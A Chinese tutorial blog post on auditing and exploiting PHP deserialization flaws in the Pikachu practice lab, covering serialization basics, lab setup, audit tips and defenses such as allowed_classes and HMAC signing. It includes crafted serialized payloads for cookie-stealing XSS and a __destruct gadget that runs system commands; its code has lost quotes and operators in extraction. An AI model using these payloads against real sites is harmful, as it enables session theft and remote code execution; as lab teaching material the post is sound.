Pikachu靶场实战:PHP反序列化漏洞代码审计与利用
1. PHP反序列化漏洞基础入门第一次接触PHP反序列化漏洞时我和大多数新手一样感到困惑为什么把字符串转换成对象就能产生安全风险这得从PHP的序列化机制说起。记得去年我在审计一个CMS系统时就因为忽略了这个小功能导致整个系统沦陷教训深刻。序列化serialize的本质是把PHP对象转换成可存储的字符串格式。比如我们有个简单的类class User { public $name pikachu; public $isAdmin false; }当执行serialize(new User())时会得到O:4:User:2:{s:4:name;s:7:pikachu;s:7:isAdmin;b:0;}这个字符串就像对象的身份证包含类名、属性个数和各个属性的键值对。而反序列化unserialize则是把这个字符串重新变成活的对象。危险就藏在对象复活的过程中——PHP会自动调用某些特殊方法魔法函数比如__wakeup()反序列化时立即执行__destruct()对象销毁时触发__toString()对象被当作字符串使用时调用我曾遇到过一个真实案例某系统反序列化时自动连接数据库攻击者通过伪造序列化数据成功实现了SQL注入。这就是典型的对象注入攻击。2. Pikachu靶场环境搭建工欲善其事必先利其器。推荐使用Docker快速搭建Pikachu靶场docker pull area39/pikachu docker run -d -p 8080:80 area39/pikachu访问http://localhost:8080/pikachu就能看到所有漏洞演练模块。重点关注射频中的PHP反序列化关卡它的界面非常简洁——就一个输入框这正是真实漏洞的典型特征没有明显提示需要自己挖掘。我在第一次测试时犯了个错误直接输入测试payload却没反应。后来发现靶场需要先点击提示按钮加载类定义否则PHP不认识序列化数据中的类。这提醒我们实际审计时要注意类的自动加载机制。靶场源代码位于/var/www/html/pikachu/vul/unserilization目录关键文件是unser.php。建议用VS Code打开并安装PHP Intelephense插件这样能快速跳转查看类定义。3. 漏洞利用实战演练3.1 基础Payload构造Pikachu靶场的漏洞点在于它直接将用户输入的序列化数据还原为对象并输出对象的属性。我们先手动构造攻击payloadO:1:S:1:{s:4:test;s:29:scriptalert(xss)/script;}这个字符串的意思是O:1:S定义一个名为S的类1个字符:1:类有1个属性{s:4:test...}属性名为test4个字符值是XSS代码在靶场输入这个payload后成功弹窗证明漏洞存在。但手动构造容易出错我更喜欢用PHP动态生成class Exploit { public $test scriptalert(document.cookie)/script; } echo serialize(new Exploit());3.2 高级利用技巧实际攻击中我们往往需要更复杂的利用链。通过分析靶场源码发现有个有趣的类class Dangerous { private $cmd ping; function __destruct() { system($this-cmd); } }构造特殊序列化数据可以触发命令执行O:9:Dangerous:1:{s:12:%00Dangerous%00cmd;s:9:calc.exe;}注意私有属性需要添加%00前缀NULL字符。我在Windows测试时成功弹出计算器这说明反序列化可能造成RCE远程代码执行漏洞。4. 深度代码审计指南4.1 关键危险函数定位使用grep快速定位反序列化入口点grep -rn unserialize( /var/www/html/审计时要特别注意这些模式从用户输入直接到unserialize()经过简单编码如base64后反序列化存储在Cookie/Session中的序列化数据4.2 魔法函数调用分析通过修改靶场代码进行动态调试class Debugger { function __wakeup() { echo wakeup called; } function __destruct() { echo destruct called; } } file_put_contents(debug.log, serialize(new Debugger()));测试发现__wakeup在反序列化后立即执行__destruct在脚本结束时或对象销毁时触发__construct在反序列化时不会被调用4.3 真实漏洞挖掘案例去年审计某开源项目时发现这样的代码$data unserialize($_COOKIE[config]); $db new DB($data-dbhost, $data-dbuser, $data-dbpass);攻击者可以伪造数据库配置实现任意数据库连接。修复方案是改用JSON格式存储配置。5. 防御方案与最佳实践5.1 输入过滤策略建议采用白名单机制验证序列化数据$allowed_classes [SafeClass1, SafeClass2]; $data unserialize($input, [allowed_classes $allowed_classes]);我在项目中会额外添加签名验证$signature hash_hmac(sha256, $serialized, $secret); if ($signature ! $_POST[sig]) { die(Invalid data); }5.2 日志监控方案在Nginx配置中添加特殊日志记录log_format serial_log $remote_addr - $http_x_serialized; server { if ($http_x_serialized) { access_log /var/log/nginx/serial.log serial_log; } }这样能捕获所有包含序列化数据的请求方便事后分析。5.3 架构层防护对于关键系统我建议使用PHP 7.4的opcache.preload机制预加载安全类在WAF规则中添加序列化数据特征检测定期使用RIPS等工具进行静态扫描记得有次代码评审我发现新人直接存储序列化数据到数据库。经过讨论团队最终改用JSON字段校验的方案既安全又方便跨语言使用。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2442593.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!